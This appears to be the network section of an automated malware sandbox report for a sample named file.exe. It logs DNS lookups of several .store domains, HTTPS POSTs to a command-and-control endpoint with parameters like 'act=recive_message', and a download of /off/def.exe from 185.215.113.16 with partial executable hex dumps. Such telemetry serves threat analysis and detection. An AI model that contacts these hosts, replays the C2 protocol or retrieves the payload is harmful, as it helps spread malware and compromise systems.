Oct 28, 2024 21:40:20.901613951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.901642084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.901679039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.902538061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.902750969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.902786970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.903707027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.903806925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.903845072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.904687881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.905199051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.905242920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.905898094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.906063080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.906160116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.907253981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.907386065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.907459021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.908427000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.908472061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.908524036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.908853054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.909121037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.909152985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.909713030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.910007000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.910043001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.910675049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.911127090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.911174059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.911720991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.911940098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.912070036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.912313938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.912566900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.912604094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.913275003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.913547993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.913583040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.914062023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.914220095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.914263964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:20.915230989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:20.969932079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:22.062782049 CET	49712	80	192.168.2.5	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 21:39:59.505331039 CET	54880	53	192.168.2.5	1.1.1.1
Oct 28, 2024 21:39:59.788269043 CET	53	54880	1.1.1.1	192.168.2.5
Oct 28, 2024 21:39:59.867398977 CET	56004	53	192.168.2.5	1.1.1.1
Oct 28, 2024 21:39:59.920671940 CET	53	56004	1.1.1.1	192.168.2.5
Oct 28, 2024 21:39:59.951440096 CET	64678	53	192.168.2.5	1.1.1.1
Oct 28, 2024 21:39:59.969495058 CET	53	64678	1.1.1.1	192.168.2.5
Oct 28, 2024 21:39:59.976939917 CET	62590	53	192.168.2.5	1.1.1.1
Oct 28, 2024 21:39:59.997911930 CET	53	62590	1.1.1.1	192.168.2.5
Oct 28, 2024 21:40:00.002975941 CET	56602	53	192.168.2.5	1.1.1.1
Oct 28, 2024 21:40:00.028352976 CET	53	56602	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 21:39:59.505331039 CET	192.168.2.5	1.1.1.1	0x9434	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 21:39:59.867398977 CET	192.168.2.5	1.1.1.1	0xe897	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 21:39:59.951440096 CET	192.168.2.5	1.1.1.1	0x6684	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 21:39:59.976939917 CET	192.168.2.5	1.1.1.1	0x914e	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 21:40:00.002975941 CET	192.168.2.5	1.1.1.1	0x1135	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 21:39:59.788269043 CET	1.1.1.1	192.168.2.5	0x9434	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 21:39:59.920671940 CET	1.1.1.1	192.168.2.5	0xe897	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 21:39:59.969495058 CET	1.1.1.1	192.168.2.5	0x6684	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 21:39:59.997911930 CET	1.1.1.1	192.168.2.5	0x914e	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 21:40:00.028352976 CET	1.1.1.1	192.168.2.5	0x1135	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 21:40:00.028352976 CET	1.1.1.1	192.168.2.5	0x1135	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

necklacedmny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	185.215.113.16	80	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 21:40:14.075777054 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 28, 2024 21:40:15.115938902 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 20:40:14 GMT Content-Type: application/octet-stream Content-Length: 2835968 Last-Modified: Mon, 28 Oct 2024 19:55:10 GMT Connection: keep-alive ETag: "671fec1e-2b4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 b3 1f 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,,`Ui` @ @.rsrc`2@.idata 8@lyjcneci+*:@zpigplui + +@.taggant@+"$+@
Oct 28, 2024 21:40:15.116049051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 21:40:15.116089106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 21:40:15.116420031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 21:40:15.116477013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 21:40:15.116513968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 21:40:15.117448092 CET	872	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 21:40:15.117482901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: <E\z2j@-W0+D7F#PP0=R:561<v_P9rI@[I
Oct 28, 2024 21:40:15.117520094 CET	1236	IN	Data Raw: 3c 18 2f 84 bb db 60 b3 3a ec 42 27 3c 16 9f f9 40 7a 2d 3f 7a 18 35 90 00 a5 77 89 42 2f be ba 89 cf 3c cc 41 fb 30 21 fe ed b0 cf be 45 05 c6 f7 db 9a 48 6b db b0 f2 40 86 2d c9 12 64 4a a5 3b de 7c e2 f4 4a 32 d2 f2 f2 a5 e3 36 4c 4c f1 54 dd Data Ascii: </`:B'<@z-?z5wB/<A0!EHk@-dJ;\|J26LLTMI;lV\|.OFLEeB1Fn2]1S3E[12uI.*}MiyJ/#9{=urN)qG\3Cot?:BB<xZ[L/5
Oct 28, 2024 21:40:15.119294882 CET	1236	IN	Data Raw: a5 3b 10 c9 40 19 98 2f a7 74 aa 2d a6 17 8c 88 2e 46 00 fe 54 28 17 29 b1 3f ee e7 ab 2c 34 ff 7d 5c 82 25 9c 52 79 32 a6 42 a0 49 49 1a 07 f8 09 38 3f 24 aa 33 2e 29 97 df 5c 07 98 e5 b7 42 73 8a 9d 3a 94 bc 7d b9 a8 43 9c 7c cf 8c 35 6f b3 d3 Data Ascii: ;@/t-.FT()?,4}\%Ry2BII8?$3.)\Bs:}C\|5oxxwr%i'EdA\|Z]B&JvJA>jyX`@jl?$.OI*]:_"<kac[:gD!/KBb6y:p~~#&MZOp<<&6<
Oct 28, 2024 21:40:15.123912096 CET	1236	IN	Data Raw: df 1e 1a 0f 88 26 79 9e 7f cc 92 09 4c de b9 f5 c2 f2 0f c7 6d 0f 43 09 24 38 0a a4 79 0a 71 18 af a8 34 94 7f 71 b9 55 c0 e8 4a d6 56 2b 59 ad e0 ed cc cd 0b 2a 39 14 5a 1a 75 8b fc 39 5e e1 a4 97 b1 05 f4 45 50 9f 57 19 43 2f 89 48 34 15 5b 0e Data Ascii: &yLmC$8yq4qUJV+Y9Zu9^EPWC/H4[\|bfKFJIJ(Tw8[9~LB7P))9P`#H241".F\Z-5q5d$AP;p9!D/y96Y79Y^D*/;uI=9>{:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 20:40:00 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-28 20:40:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-28 20:40:01 UTC	1009	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 20:40:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c7es5t152cr2e3m4026al8l6e7; expires=Fri, 21 Feb 2025 14:26:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wwn4fTujdKKrb5FvTKNEyWQaw5CYb75JfQJg26fGzxKrcBWCzETMsLhExgjiSx9b8zmZUaMdatKmKsxcLpJbxWFCdxAvI8ruP82vMwhQvkmqslHOpVDmQ%2Fx8rMnMJL2NmlVEBIk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9dbd0d59eaa924-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1373&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=2006930&cwnd=248&unsent_bytes=0&cid=29f7ef4782fa284f&ts=523&x=0"
2024-10-28 20:40:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-28 20:40:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 20:40:02 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-28 20:40:02 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-28 20:40:02 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 20:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p1aa6ge941m89m6vbitcub11pc; expires=Fri, 21 Feb 2025 14:26:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XJanz6%2FrhaGbB%2BKTJqTGmklZNbf5HhAx4mvVt6RbPGOTZFLZFk453%2FpJ9La43nD3jrjPRNa7u3pgTWw0Ta0Xc2LYN4cN0Dg13CZtfWI1QhbE%2FY1nCM%2Byf3znMhUmYYNFP4xYL9A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9dbd162ddde75a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1388&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2012508&cwnd=246&unsent_bytes=0&cid=41d10bfd97922c43&ts=728&x=0"
2024-10-28 20:40:02 UTC	352	IN	Data Raw: 34 64 64 0d 0a 49 50 34 36 4d 77 45 6e 69 6a 46 4e 4a 76 57 6d 77 6f 2b 70 31 69 69 6c 50 68 75 43 59 61 77 73 43 7a 38 7a 64 41 43 4f 32 68 46 62 33 45 77 52 4f 78 4f 6d 45 7a 35 44 31 35 79 32 2f 64 79 7a 42 49 64 66 66 36 42 62 79 6b 31 6e 54 46 5a 59 49 76 69 33 4d 78 71 59 57 31 39 79 51 71 59 54 4b 46 37 58 6e 4a 6e 30 69 37 4e 47 68 77 51 35 35 77 76 4f 54 57 64 64 55 68 39 76 2f 72 5a 79 53 4a 4a 64 57 32 52 45 37 6c 41 68 53 35 44 44 70 2b 37 44 75 45 48 49 56 6e 61 67 54 59 35 4a 63 52 30 4a 56 6b 33 72 72 6e 42 74 6e 30 6c 59 49 31 71 6d 53 6d 39 44 6d 34 54 34 72 63 69 7a 53 73 6c 59 66 2b 6b 4a 78 45 52 76 58 46 63 65 63 4f 65 38 65 55 69 63 58 6c 70 75 54 66 70 64 4b 30 79 62 78 61 33 75 69 2f 6f 4b 77 45 51 35 75 45 4f 64 66 47 70 4d 51 41 Data Ascii: 4ddIP46MwEnijFNJvWmwo+p1iilPhuCYawsCz8zdACO2hFb3EwROxOmEz5D15y2/dyzBIdff6Bbyk1nTFZYIvi3MxqYW19yQqYTKF7XnJn0i7NGhwQ55wvOTWddUh9v/rZySJJdW2RE7lAhS5DDp+7DuEHIVnagTY5JcR0JVk3rrnBtn0lYI1qmSm9Dm4T4rcizSslYf+kJxERvXFcecOe8eUicXlpuTfpdK0ybxa3ui/oKwEQ5uEOdfGpMQA
2024-10-28 20:40:02 UTC	900	IN	Data Raw: 69 53 4f 68 42 4a 30 2b 63 77 62 4c 6d 77 72 6c 48 78 31 46 7a 37 77 44 4f 53 57 4e 58 58 68 78 6d 34 62 56 31 51 70 77 59 48 79 4e 43 38 42 4e 33 42 4c 54 42 73 4f 72 48 6f 67 6a 39 48 47 61 75 47 6f 35 4a 5a 52 30 4a 56 6d 72 70 75 33 42 4a 6b 31 74 5a 61 46 66 6f 51 53 6c 4a 6b 74 61 6d 36 4d 57 2b 53 64 56 57 64 2b 59 41 78 30 56 67 57 46 59 53 49 71 4c 34 64 46 72 63 41 42 46 43 53 4f 4e 66 4a 56 4f 58 68 4c 2b 6a 30 76 52 4e 79 78 77 68 6f 41 66 50 53 6d 68 5a 58 78 68 6d 34 4c 35 39 54 35 4e 65 57 32 4e 43 34 6c 73 6e 52 5a 72 50 72 2b 33 4f 75 55 37 42 55 48 6a 6c 51 34 41 4f 62 6b 55 52 54 69 4c 43 76 33 42 51 33 6d 31 53 62 55 76 76 52 57 39 62 32 64 33 67 36 73 66 30 45 6f 64 53 66 4f 38 52 7a 31 78 73 55 30 4d 61 5a 2b 71 31 63 45 79 63 58 56 Data Ascii: iSOhBJ0+cwbLmwrlHx1Fz7wDOSWNXXhxm4bV1QpwYHyNC8BN3BLTBsOrHogj9HGauGo5JZR0JVmrpu3BJk1tZaFfoQSlJktam6MW+SdVWd+YAx0VgWFYSIqL4dFrcABFCSONfJVOXhL+j0vRNyxwhoAfPSmhZXxhm4L59T5NeW2NC4lsnRZrPr+3OuU7BUHjlQ4AObkURTiLCv3BQ3m1SbUvvRW9b2d3g6sf0EodSfO8Rz1xsU0MaZ+q1cEycXV
2024-10-28 20:40:02 UTC	1369	IN	Data Raw: 33 66 38 66 0d 0a 4f 64 61 4a 6b 32 46 7a 71 7a 6a 32 62 6c 41 77 6c 4a 31 35 51 7a 4f 54 32 68 54 57 78 30 69 6f 76 68 30 57 74 77 41 45 55 78 49 2b 45 45 6c 54 34 61 47 6c 65 37 46 75 6b 33 52 48 47 61 75 47 6f 35 4a 5a 52 30 4a 56 6d 6e 71 74 48 39 43 6d 6b 70 66 62 46 66 69 51 53 74 4b 6b 38 69 75 35 4d 61 37 54 39 56 59 65 66 49 43 79 30 6c 6e 55 45 4d 54 49 71 4c 34 64 46 72 63 41 42 46 5a 63 65 39 44 50 6b 50 56 38 61 50 6a 78 62 4e 63 68 30 4d 33 2b 55 50 4a 51 69 6b 46 45 52 56 75 34 62 46 32 54 59 35 53 58 57 4a 58 37 31 6f 6d 54 70 62 4b 72 2b 62 48 73 56 6a 4d 55 33 48 76 41 73 4e 44 59 6c 6c 52 56 69 79 73 76 32 73 43 78 42 68 77 62 6b 72 36 55 44 34 47 6f 73 65 75 34 38 79 69 43 74 67 53 59 4b 41 45 77 67 34 78 48 56 41 61 62 75 32 33 64 55 Data Ascii: 3f8fOdaJk2Fzqzj2blAwlJ15QzOT2hTWx0iovh0WtwAEUxI+EElT4aGle7Fuk3RHGauGo5JZR0JVmnqtH9CmkpfbFfiQStKk8iu5Ma7T9VYefICy0lnUEMTIqL4dFrcABFZce9DPkPV8aPjxbNch0M3+UPJQikFERVu4bF2TY5SXWJX71omTpbKr+bHsVjMU3HvAsNDYllRViysv2sCxBhwbkr6UD4Goseu48yiCtgSYKAEwg4xHVAabu23dU
2024-10-28 20:40:02 UTC	1369	IN	Data Raw: 61 45 48 73 55 79 4a 50 6d 63 71 70 34 63 4f 34 54 64 56 52 66 4f 67 4a 78 30 74 6c 55 46 49 45 59 65 33 34 50 51 4b 62 51 42 45 37 42 63 39 67 47 47 66 58 32 2b 37 30 69 37 4e 47 68 77 51 35 34 51 76 4a 51 47 31 50 58 77 52 73 36 37 68 31 53 70 52 66 58 57 31 4c 2b 6c 73 75 52 4a 6e 4c 71 4f 54 50 74 55 37 44 55 48 36 67 54 59 35 4a 63 52 30 4a 56 6b 72 76 6f 6d 6b 41 73 6c 4e 52 5a 46 58 2b 53 47 39 62 32 64 33 67 36 73 66 30 45 6f 64 59 63 75 6f 4b 7a 55 64 74 55 46 45 66 62 65 57 77 66 6b 71 4f 57 56 74 78 51 65 31 53 49 45 36 54 7a 4b 7a 69 78 37 42 59 7a 42 77 33 6f 41 54 57 44 6a 45 64 63 52 31 30 7a 36 70 68 41 6f 4d 57 53 43 4e 43 35 42 4e 33 42 4a 37 49 6f 65 7a 42 73 6b 48 43 55 58 6e 6c 43 63 6c 43 61 56 31 53 45 47 54 68 73 48 74 4f 6b 46 74 Data Ascii: aEHsUyJPmcqp4cO4TdVRfOgJx0tlUFIEYe34PQKbQBE7Bc9gGGfX2+70i7NGhwQ54QvJQG1PXwRs67h1SpRfXW1L+lsuRJnLqOTPtU7DUH6gTY5JcR0JVkrvomkAslNRZFX+SG9b2d3g6sf0EodYcuoKzUdtUFEfbeWwfkqOWVtxQe1SIE6TzKzix7BYzBw3oATWDjEdcR10z6phAoMWSCNC5BN3BJ7IoezBskHCUXnlCclCaV1SEGThsHtOkFt
2024-10-28 20:40:02 UTC	1369	IN	Data Raw: 46 67 70 53 70 62 43 72 4f 43 4c 2b 67 72 41 52 44 6d 34 51 2b 6c 55 5a 46 74 47 42 31 66 72 75 43 49 43 67 78 5a 49 49 30 4c 6b 45 33 63 45 6d 73 69 71 34 4d 36 77 51 73 42 66 65 4f 77 48 77 30 4e 74 56 46 55 54 63 50 36 2b 66 55 4b 54 56 6c 35 76 56 2b 5a 57 4c 30 6a 58 69 75 44 71 30 2f 51 53 68 32 31 75 34 45 50 52 41 48 41 64 56 68 6f 69 74 50 68 38 54 34 35 55 58 6d 4e 45 36 31 63 6b 51 35 48 43 6f 65 37 4f 74 30 2f 42 58 58 6e 73 43 63 6c 47 59 31 4e 63 45 47 62 71 76 6a 4d 4d 33 46 39 4a 49 78 32 6f 59 53 4a 4b 6e 73 65 6d 34 4e 32 63 65 34 64 44 4e 2f 6c 44 79 55 49 70 42 52 45 53 61 65 53 30 64 6b 71 5a 57 56 6c 70 54 65 64 63 50 55 57 59 7a 61 66 6d 78 72 74 45 77 6c 4a 72 35 77 6a 46 52 6d 42 54 56 31 59 73 72 4c 39 72 41 73 51 59 5a 32 42 4c Data Ascii: FgpSpbCrOCL+grARDm4Q+lUZFtGB1fruCICgxZII0LkE3cEmsiq4M6wQsBfeOwHw0NtVFUTcP6+fUKTVl5vV+ZWL0jXiuDq0/QSh21u4EPRAHAdVhoitPh8T45UXmNE61ckQ5HCoe7Ot0/BXXnsCclGY1NcEGbqvjMM3F9JIx2oYSJKnsem4N2ce4dDN/lDyUIpBRESaeS0dkqZWVlpTedcPUWYzafmxrtEwlJr5wjFRmBTV1YsrL9rAsQYZ2BL
2024-10-28 20:40:02 UTC	1369	IN	Data Raw: 43 5a 31 71 48 69 69 2f 6f 4b 77 45 51 35 75 45 50 2f 57 47 35 61 58 6c 52 4c 36 36 4e 79 53 4a 39 54 58 53 4e 61 70 6b 70 76 51 35 75 45 2b 4b 33 47 75 45 66 44 54 6e 58 67 41 38 64 4a 59 30 39 65 47 57 2f 76 75 48 5a 51 6e 55 70 65 61 45 44 72 56 79 42 4c 6d 38 79 71 72 59 58 30 54 64 38 63 49 61 41 76 7a 56 39 6a 48 33 59 4d 64 4f 75 30 59 6b 6d 52 56 42 46 38 43 2f 45 54 4b 45 6a 58 6e 4f 44 74 79 72 6c 59 77 6c 31 7a 36 67 37 47 51 57 78 59 58 68 4a 6d 35 37 5a 68 54 4a 4e 59 56 32 68 45 37 56 41 6b 54 70 6e 4e 73 71 32 46 39 45 33 66 48 43 47 67 4b 64 56 50 5a 46 45 54 4f 47 6e 36 76 7a 46 6a 6b 6c 4e 57 62 31 4f 6f 54 47 46 64 31 38 4f 73 72 5a 50 30 51 38 6c 51 65 75 63 4c 78 6b 74 70 56 6c 45 5a 61 4f 4b 2f 59 55 69 51 55 6b 4e 73 52 75 56 58 49 Data Ascii: CZ1qHii/oKwEQ5uEP/WG5aXlRL66NySJ9TXSNapkpvQ5uE+K3GuEfDTnXgA8dJY09eGW/vuHZQnUpeaEDrVyBLm8yqrYX0Td8cIaAvzV9jH3YMdOu0YkmRVBF8C/ETKEjXnODtyrlYwl1z6g7GQWxYXhJm57ZhTJNYV2hE7VAkTpnNsq2F9E3fHCGgKdVPZFETOGn6vzFjklNWb1OoTGFd18OsrZP0Q8lQeucLxktpVlEZaOK/YUiQUkNsRuVXI
